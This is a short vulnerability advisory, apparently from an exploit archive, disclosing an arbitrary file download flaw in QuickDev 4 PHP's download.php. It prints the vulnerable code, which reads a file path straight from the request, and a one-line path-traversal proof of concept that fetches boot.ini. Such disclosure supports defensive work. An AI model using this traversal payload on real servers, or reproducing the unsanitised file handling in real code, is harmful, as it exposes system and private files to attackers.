QuickDev 4 (download.php) File Disclosure Vulnerability, Arbitrary File Download, Discovered By SirGo
============================================================
QuickDev 4 (download.php file) File Disclosure Vulnerability
============================================================
#####################################################################################
[+] QuickDev 4 Php (download.php file) Arbitrary File Download
[+] Discovered By SirGod
#####################################################################################
[+] Download : http://sourceforge.net/projects/quickdev4php/files/
[+] Arbitrary File Download
- Vulnerable code in download.php
--------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));
//header( "Content-Description: File Transfer");
@readfile($file);
die();
--------------------------------------------------------------------------
- PoC
http://127.0.0.1/download.php?file=../../../../../../boot.ini
#####################################################################################
# 0day.today [2018-01-05] #
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo